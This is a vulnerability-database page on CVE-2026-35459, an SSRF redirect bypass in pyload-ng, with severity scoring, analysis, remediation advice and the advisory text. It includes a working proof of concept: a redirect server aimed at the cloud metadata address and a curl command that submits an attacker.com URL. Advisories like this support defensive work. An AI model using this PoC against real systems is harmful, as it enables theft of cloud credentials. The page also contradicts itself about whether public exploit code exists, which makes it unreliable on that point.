Skip to main content

Microsoft CVE-2026-35459

CRITICAL
Server-Side Request Forgery (SSRF) (CWE-918)
2026-04-04 https://github.com/pyload/pyload GHSA-7gvf-3w72-p2pg
9.3
CVSS 4.0 · Vendor: https://github.com/pyload/pyload
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with ADD permission
  2. Exploit
    Submit URL redirecting to internal address
  3. Execution
    Bypass SSRF validation filter
  4. Impact
    Access internal resource via pycurl redirect

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Authenticated user with ADD permission in pyload must submit a download URL that redirects to an internal address. The SSRF filter validates only the initial URL; pycurl with FOLLOWLOCATION=1 and MAXREDIRS=10 automatically follows unvalidated redirects to internal targets.

Impact

This represents a HIGH severity bypass of previous Critical-rated SSRF protections, with real-world exploitation demonstrated via public proof-of-concept code. The CVSS vector is not provided, but the attack characteristics indicate Network attack vector with Low complexity (single redirect hop required) and Low privileges (ADD permission). The technical impact is severe-access to cloud metadata endpoints can expose IAM credentials, API keys, and instance identity documents in AWS, GCP, Azure, and DigitalOcean environments. No public exploit identified at time of analysis beyond the proof-of-concept, and EPSS/KEV data are unavailable. The primary risk reduction compared to CVE-2026-33992 is the authentication requirement, limiting the attack surface to users with ADD permission rather than unauthenticated attackers. Organizations running pyload-ng in cloud environments or with access to sensitive internal networks face elevated risk, as the attack is straightforward to execute once authenticated and can chain to credential theft or lateral movement.

Exploit ScenarioDerived

An attacker with valid credentials and ADD permission authenticates to a pyload-ng instance running in an AWS environment. They submit a download link pointing to an attacker-controlled server at http://attacker.com:8888/redirect. The pyload-ng SSRF filter validates attacker.com resolves to a public IP and allows the request. The attacker's server responds with a 302 redirect to http://169.254.169.254/latest/meta-data/iam/security-credentials/. pycurl automatically follows this redirect without validation, retrieves the IAM role credentials from the AWS metadata service, and saves them to pyload-ng's storage folder. The attacker accesses the stored file containing temporary AWS credentials with permissions matching the EC2 instance role, potentially enabling privilege escalation, data exfiltration, or lateral movement within the cloud environment. Publicly available exploit code exists demonstrating this exact attack flow.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 04, 2026

Server-Side Request Forgery (SSRF) in pyload-ng allows authenticated users with ADD permission to access internal network resources and cloud metadata endpoints by exploiting unchecked HTTP redirect handling. The vulnerability bypasses CVE-2026-33992 mitigations through redirect chains-pycurl follows up to 10 redirects automatically without validating destination IPs against the SSRF filter. Attackers can retrieve AWS/GCP/Azure instance metadata (including IAM credentials) and probe internal services. While exploitation requires authentication (reducing severity from the Critical unauthenticated CVE-2026-33992), a public proof-of-concept demonstrates the attack and no vendor-released patch has been identified at time of analysis.

RemediationAI

No vendor-released patch identified at time of analysis. The vendor advisory at https://github.com/pyload/pyload/security/advisories/GHSA-7gvf-3w72-p2pg should be monitored for official fixes. The vulnerability report suggests two remediation approaches: disable automatic redirect following by setting pycurl.FOLLOWLOCATION to 0 in HTTPRequest.__init__() and implementing manual redirect validation with SSRF checks at each hop, or alternatively restrict redirect protocols using pycurl.REDIR_PROTOCOLS with only HTTP/HTTPS allowed and add a pycurl callback to validate redirect destination IPs before following. As interim mitigation, restrict ADD permission to only highly trusted users, implement network-level egress filtering to block access to cloud metadata endpoints (169.254.169.254/32) and RFC1918 private address spaces from the pyload-ng process, and monitor outbound connections for suspicious internal network access patterns. Organizations should treat this as a bypass of existing SSRF protections and prioritize patching when available.

Affected Packages

pypi pyload-ng no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

pyload-ng is a Python-based download manager (pkg:pip/pyload-ng) that uses pycurl for HTTP operations. The vulnerability stems from incomplete SSRF protection in BaseDownloader.download() at src/pyload/plugins/base/downloader.py. While the fix for CVE-2026-33992 added IP validation using is_global_address() checks against the initial URL hostname, the underlying HTTPRequest class configures pycurl with FOLLOWLOCATION=1 and MAXREDIRS=10 without setting CURLOPT_REDIR_PROTOCOLS restrictions or implementing redirect target validation. This creates a classic time-of-check-time-of-use (TOCTOU) vulnerability where the security check occurs before redirect resolution. CWE-918 (Server-Side Request Forgery) applies because the application makes HTTP requests to attacker-controlled destinations without proper validation of the final target after following redirect chains.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/pyload/pyload) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (https://github.com/pyload/pyload) · only source for this CVE.

CVSS VectorVendor: https://github.com/pyload/pyload

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
None

DescriptionCVE.org

Summary

The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.

An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.

Root Cause

The SSRF check at src/pyload/plugins/base/downloader.py:335-341 validates only the initial URL:

dl_hostname = urllib.parse.urlparse(dl_url).hostname if is_ip_address(dl_hostname) and not is_global_address(dl_hostname): self.fail(...) else: for ip in host_to_ip(dl_hostname): if not is_global_address(ip): self.fail(...)

After the check passes, _download() is called. pycurl is configured at src/pyload/core/network/http/http_request.py:114-115 to follow redirects:

self.c.setopt(pycurl.FOLLOWLOCATION, 1) self.c.setopt(pycurl.MAXREDIRS, 10)

No CURLOPT_REDIR_PROTOCOLS restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.

PoC

Redirect server (attacker-controlled):

from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header("Location", "http://169.254.169.254/metadata/v1.json") self.end_headers()

HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()

Submit to pyload (requires ADD permission):

curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \ -d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'

The SSRF check resolves attacker.com to a public IP and passes. pycurl follows the 302 redirect to http://169.254.169.254/metadata/v1.json without validation. Cloud metadata is downloaded and saved to the storage folder.

Impact

An authenticated user with ADD permission can access:

  • Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure - including IAM credentials and instance identity
  • Internal network services (10.x, 172.16.x, 192.168.x)
  • Localhost services (127.0.0.1)

This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.

Suggested Fix

Disable automatic redirect following and validate each redirect target:

In HTTPRequest.__init__():

self.c.setopt(pycurl.FOLLOWLOCATION, 0)

Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:

self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)

And add a pycurl callback to validate redirect destination IPs before following.

Resources

  • CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.

Executive ViewAI

Why It Matters

CVE-2026-35459 is a critical Server-Side Request Forgery vulnerability in pyload-ng that allows authenticated users with ADD permissions to bypass existing security controls and access sensitive cloud metadata endpoints and internal network resources. Organizations using pyload-ng face immediate risk of credential exposure and unauthorized access to cloud infrastructure, with no vendor patch currently available to remediate the issue.

Business Impact: Severe
Compensating Controls

Network-level firewall rules blocking outbound access from pyload-ng to metadata service IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254/32, 169.254.170.254/32); enforce least-privilege access by removing ADD permissions from all non-essential users; implement egress filtering and request logging to detect redirect chain exploitation attempts; disable automatic redirect following in pycurl configuration if application permits; apply rate limiting to document add operations.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Affected Products (CPE)CVE.org

pkg:pip/pyload-ng

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy